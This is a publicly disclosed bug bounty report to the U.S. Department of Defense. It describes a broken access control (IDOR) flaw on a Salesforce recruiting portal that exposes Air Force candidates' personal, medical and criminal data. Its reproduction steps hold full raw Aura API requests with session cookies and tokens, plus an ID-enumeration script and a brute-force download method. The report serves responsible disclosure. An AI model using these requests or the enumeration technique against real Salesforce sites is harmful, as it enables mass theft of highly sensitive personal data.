U.S. Dept Of Defense · Report #2968391

Air Force candidate PII + recruitment chat logs accessible via BAC/IDOR on █████████ (very large/significant exposure)

Validstatus

criticalseverity

18upvotes

12 Jan 2026disclosed

How it was found

Greetings DoD team,

I've uncovered another serious IDOR on a DoD-owned Salesforce asset (█████████).

Broken record-level configuration the Document object of this Salesforce instance allows an attacker to retrieve a huge number of sensitive Air Force candidate records.

It is likely that these records are related to the Air Force recruiter live chat:█████.

This is very problematic, as each log file contains a wealth of highly private personal information.

Database fields include:

Private chat logs between candidate/recruiter, Full name, Address, Phone number, Email address, Medical data, Drug use history, Felony/Criminal history, Academic data,

The contents of the chat logs themselves are also highly private, as candidates are frequently asked about personal details (medical/criminal/drug etc) by recruiters.

Brief fuzzing of Id's + filesize indicates that hundreds of thousands of such records are currently exposed.

███

█████████

Impact

High impact/scale personal data leak.

System Host(s)

████, █████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

#Steps to reproduce/POC

Register an account on https://████████/s/login/SelfRegister, you should be logged straight into the portal
After logging in, find any POST request to the /s/sfsites/aura endpoint - aura.token will be present, as below. Send this to Repeater.

POST /s/sfsites/aura?r=19&ui-comm-runtime-components-aura-components-siteforce-qb.Quarterback.getAllowedPostMessageOrigins=1 HTTP/2
Host: ███████
Cookie: renderCtx=%7B%22pageId%22%3A%224c254d1c-8f54-44e6-8f93-434d123e1f6f%22%2C%22schema%22%3A%22Published%22%2C%22viewType%22%3A%22Published%22%2C%22brandingSetId%22%3A%22ae182506-2403-4c3c-8d77-69462fcc6184%22%2C%22audienceIds%22%3A%22%22%7D; CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1; OptanonConsent=isGpcEnabled=1&datestamp=Fri+Jan+31+2025+15%3A40%3A52+GMT%2B0000+(Greenwich+Mean+Time)&version=202212.1.0&isIABGlobal=false&hosts=&landingPath=https%3A%2F%2F████%2Fapply-now&groups=C0001%3A1%2CC0003%3A1%2CSPD_BG%3A0%2CC0004%3A0%2CC0002%3A0; kndctr_9A3A4AEA5C01FFA90A495EEF_AdobeOrg_cluster=irl1; kndctr_9A3A4AEA5C01FFA90A495EEF_AdobeOrg_identity=CiYyMjc1MDM1Mzg1MzA0ODYwNzU5MDU0NTEwMzcxMzY2NDgwODY3NFITCOiBl-jLMhABGAEqBElSTDEwAPAB6IGX6Msy; AMCV_9A3A4AEA5C01FFA90A495EEF%40AdobeOrg=MCMID|22750353853048607590545103713664808674; ak_bmsc=B3E04778E36F4D7131079F5F4CB99768~000000000000000000000000000000~YAAQlrEXAnWwm5uUAQAAjAMGvRqcyA6e25MMo39CGW5l5wzdYui+RU5U6Jpe30Q9bQIv7U16JHfN+qev9NrCZ4NRhVUL3hv+SqVvQKflFUzk056OHlM27ZOL5G/jLiszcfiZqJ1NudMye8eLC4MPX7ENXPCYLjcKe1nC+aY2fkKKg26of33bm+VdyqM2UHBK4veL53A4By37Ou7fgS2ruOHTKREd0su3Ll6TABihtTrlvzbmMsbxR96TMY+vPaTTqHcghtqkZ4iNE814+kFakHX2yWPor9dVXJVOrTVHQbBnqem9n5xmOYpfkGe6hnjx30gNsddMmGkE4OIVkIQnF5BaEed3AvNSEHWkI65Q0FPsKdd80g4TU7GQN9qfnsYUICdlpJYyuYpR12Wr9w==; force-stream=!X2xQYLyIEeQ3rwu/bH3rPvwlR4HtllixEFFMt993L5YN/Af4vO8mOk1mKP9i8bLU59n3umKTH+W8uEY=; bm_sv=5CBA1975D035E99E5348E5BDA6FAB31E~YAAQorEXAkgMsbmUAQAAIxILvRqbqnYRcsZWXhwqtWsMi0vgOnQXhFzocmVM0N3UEYxteCab3LrEKOOwLD08oEK6X0nTsIAfONzth2bGw4w+eeG2yt5sOm4MePK515uzhFSVyHDaf3LhIy5kUdM0xGhObUUYB6Pwe2GgwQmguLOhhS3cBMzFMACpW275+2x/kmWcK9JOyDo8FLnBqhHhM1OXjCpQzat6dEBZ7KEq6wm0MqYLE3e4ghGZEK1NreAE/qND~1; oinfo=c3RhdHVzPUFDVElWRSZ0eXBlPTImb2lkPTAwRG8wMDAwMDAwYWlyRg==; autocomplete=1; sid=00Do0000000airF!ARYAQIIfL2JihCfL8Vuo98N.d1Ve8o3uMDxdOBwAYGKq1E0SsQ5_61plkmpB_ZUSFajJt1Snul6PR7gMq8ylQMf4cnadWBxK; sid_Client=3000000gDzP0000000airF; clientSrc=███████; inst=APP_83; oid=00Do0000000airF; __Secure-has-sid=1; _ga_EYFLELGKGE=GS1.1.1738338117.1.1.1738338404.0.0.1518876090; _ga=GA1.1.1505934370.1738338118
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://████/s/
X-Sfdc-Page-Scope-Id: 5c3ae97f-d9f6-4089-9b5d-47ed77ed41b7
X-Sfdc-Request-Id: 29080000008771550d
X-Sfdc-Page-Cache: 287e41a6d43a67fe
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-B3-Traceid: 643ec2037b65b799
X-B3-Spanid: 896c3e74d9299601
X-B3-Sampled: 0
Content-Length: 1255
Origin: https://██████
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

message=%7B%22actions%22%3A%5B%7B%22id%22%3A%22127%3Ba%22%2C%22descriptor%22%3A%22serviceComponent%3A%2F%2Fui.comm.runtime.components.aura.components.siteforce.qb.QuarterbackController%2FACTION%24getAllowedPostMessageOrigins%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22eUNJbjV5czdoejBvRlA5OHpDU1dPd1pMVExBQkpJSlVFU29Ba3lmcUNLWlE5LjMyMC4y%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AembeddedServiceSidebar%22%3A%221154_bQKJgTrtOZCM43YoejcSFg%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%22343_75unE-CE7CDfRvzL8FM_Uw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=eyJub25jZSI6InRrRzVUQXR4dE9LSm9JOWRMSWRQOEFoWkh5aTVqVkl2UzRmb3l1UTRfVzhcdTAwM2QiLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IntcInRcIjpcIjAwRDgzMDAwMDAwOGFIdVwiLFwidlwiOlwiMDJHODMwMDAwMDAwWXFYXCIsXCJhXCI6XCJjYWltYW5zaWduZXJcIn0iLCJjcml0IjpbImlhdCJdLCJpYXQiOjE3MzgzMzg0MDQ2MjEsImV4cCI6MH0%3D..Z1upK8NszMzEbG7Y1USAsP1mvkFcsH4jy0rok3V_xpA%3D

Modify the request as below and send. This will call 2000 Document records (none of the ones listed in the response are sensitive).

POST /s/sfsites/aura?r=19&ui-comm-runtime-components-aura-components-siteforce-qb.Quarterback.getAllowedPostMessageOrigins=1 HTTP/2
Host: ███
Cookie: renderCtx=%7B%22pageId%22%3A%224c254d1c-8f54-44e6-8f93-434d123e1f6f%22%2C%22schema%22%3A%22Published%22%2C%22viewType%22%3A%22Published%22%2C%22brandingSetId%22%3A%22ae182506-2403-4c3c-8d77-69462fcc6184%22%2C%22audienceIds%22%3A%22%22%7D; CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1; OptanonConsent=isGpcEnabled=1&datestamp=Fri+Jan+31+2025+15%3A40%3A52+GMT%2B0000+(Greenwich+Mean+Time)&version=202212.1.0&isIABGlobal=false&hosts=&landingPath=https%3A%2F%2F██████████%2Fapply-now&groups=C0001%3A1%2CC0003%3A1%2CSPD_BG%3A0%2CC0004%3A0%2CC0002%3A0; kndctr_9A3A4AEA5C01FFA90A495EEF_AdobeOrg_cluster=irl1; kndctr_9A3A4AEA5C01FFA90A495EEF_AdobeOrg_identity=CiYyMjc1MDM1Mzg1MzA0ODYwNzU5MDU0NTEwMzcxMzY2NDgwODY3NFITCOiBl-jLMhABGAEqBElSTDEwAPAB6IGX6Msy; AMCV_9A3A4AEA5C01FFA90A495EEF%40AdobeOrg=MCMID|22750353853048607590545103713664808674; ak_bmsc=B3E04778E36F4D7131079F5F4CB99768~000000000000000000000000000000~YAAQlrEXAnWwm5uUAQAAjAMGvRqcyA6e25MMo39CGW5l5wzdYui+RU5U6Jpe30Q9bQIv7U16JHfN+qev9NrCZ4NRhVUL3hv+SqVvQKflFUzk056OHlM27ZOL5G/jLiszcfiZqJ1NudMye8eLC4MPX7ENXPCYLjcKe1nC+aY2fkKKg26of33bm+VdyqM2UHBK4veL53A4By37Ou7fgS2ruOHTKREd0su3Ll6TABihtTrlvzbmMsbxR96TMY+vPaTTqHcghtqkZ4iNE814+kFakHX2yWPor9dVXJVOrTVHQbBnqem9n5xmOYpfkGe6hnjx30gNsddMmGkE4OIVkIQnF5BaEed3AvNSEHWkI65Q0FPsKdd80g4TU7GQN9qfnsYUICdlpJYyuYpR12Wr9w==; force-stream=!X2xQYLyIEeQ3rwu/bH3rPvwlR4HtllixEFFMt993L5YN/Af4vO8mOk1mKP9i8bLU59n3umKTH+W8uEY=; bm_sv=5CBA1975D035E99E5348E5BDA6FAB31E~YAAQorEXAkgMsbmUAQAAIxILvRqbqnYRcsZWXhwqtWsMi0vgOnQXhFzocmVM0N3UEYxteCab3LrEKOOwLD08oEK6X0nTsIAfONzth2bGw4w+eeG2yt5sOm4MePK515uzhFSVyHDaf3LhIy5kUdM0xGhObUUYB6Pwe2GgwQmguLOhhS3cBMzFMACpW275+2x/kmWcK9JOyDo8FLnBqhHhM1OXjCpQzat6dEBZ7KEq6wm0MqYLE3e4ghGZEK1NreAE/qND~1; oinfo=c3RhdHVzPUFDVElWRSZ0eXBlPTImb2lkPTAwRG8wMDAwMDAwYWlyRg==; autocomplete=1; sid=00Do0000000airF!ARYAQIIfL2JihCfL8Vuo98N.d1Ve8o3uMDxdOBwAYGKq1E0SsQ5_61plkmpB_ZUSFajJt1Snul6PR7gMq8ylQMf4cnadWBxK; sid_Client=3000000gDzP0000000airF; clientSrc=████; inst=APP_83; oid=00Do0000000airF; __Secure-has-sid=1; _ga_EYFLELGKGE=GS1.1.1738338117.1.1.1738338404.0.0.1518876090; _ga=GA1.1.1505934370.1738338118
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://████/s/
X-Sfdc-Page-Scope-Id: 5c3ae97f-d9f6-4089-9b5d-47ed77ed41b7
X-Sfdc-Request-Id: 29080000008771550d
X-Sfdc-Page-Cache: 287e41a6d43a67fe
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-B3-Traceid: 643ec2037b65b799
X-B3-Spanid: 896c3e74d9299601
X-B3-Sampled: 0
Content-Length: 1323
Origin: https://████
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Document","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22eUNJbjV5czdoejBvRlA5OHpDU1dPd1pMVExBQkpJSlVFU29Ba3lmcUNLWlE5LjMyMC4y%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AembeddedServiceSidebar%22%3A%221154_bQKJgTrtOZCM43YoejcSFg%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%22343_75unE-CE7CDfRvzL8FM_Uw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=eyJub25jZSI6InRrRzVUQXR4dE9LSm9JOWRMSWRQOEFoWkh5aTVqVkl2UzRmb3l1UTRfVzhcdTAwM2QiLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IntcInRcIjpcIjAwRDgzMDAwMDAwOGFIdVwiLFwidlwiOlwiMDJHODMwMDAwMDAwWXFYXCIsXCJhXCI6XCJjYWltYW5zaWduZXJcIn0iLCJjcml0IjpbImlhdCJdLCJpYXQiOjE3MzgzMzg0MDQ2MjEsImV4cCI6MH0%3D..Z1upK8NszMzEbG7Y1USAsP1mvkFcsH4jy0rok3V_xpA%3D

Extract one of the IDs from the response, e.g 015t0000000m7QgAAI.
Within the browser, enter this ID as follows to request the file: https://████/servlet/servlet.FileDownload?file=015t0000000m7QgAAI
Generate a list of 'adjacent' IDs - within Salesforce these are semi-sequential (full methodology here: https://blog.hypn.za.net/2022/11/12/Hacking-Salesforce-backed-WebApps/).

$python3 salesforceids1.py 015t0000000m7Qg -100000
015t0000000m7QfAAI
015t0000000m7QeAAI
015t0000000m7QdAAI
015t0000000m7QcAAI
015t0000000m7QbAAI
015t0000000m7QaAAI
015t0000000m7Q9AAI
015t0000000m7Q8AAI
015t0000000m7Q7AAI
015t0000000m7Q6AAI
(etc)

Run the attack within Intruder using the generated list using the FileDownload GET method as above. Very quickly this starts unearthing sensitive files.
Verify examples below - discovered via fuzzing this way:

(open in logged-in browser session)

https://████/servlet/servlet.FileDownload?file=015t0000000m74LAAQ https://█████████/servlet/servlet.FileDownload?file=015t0000000m75iAAA https://████████/servlet/servlet.FileDownload?file=015t0000000m79zAAA

Hope you find this report helpful - look forward to your feedback.

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original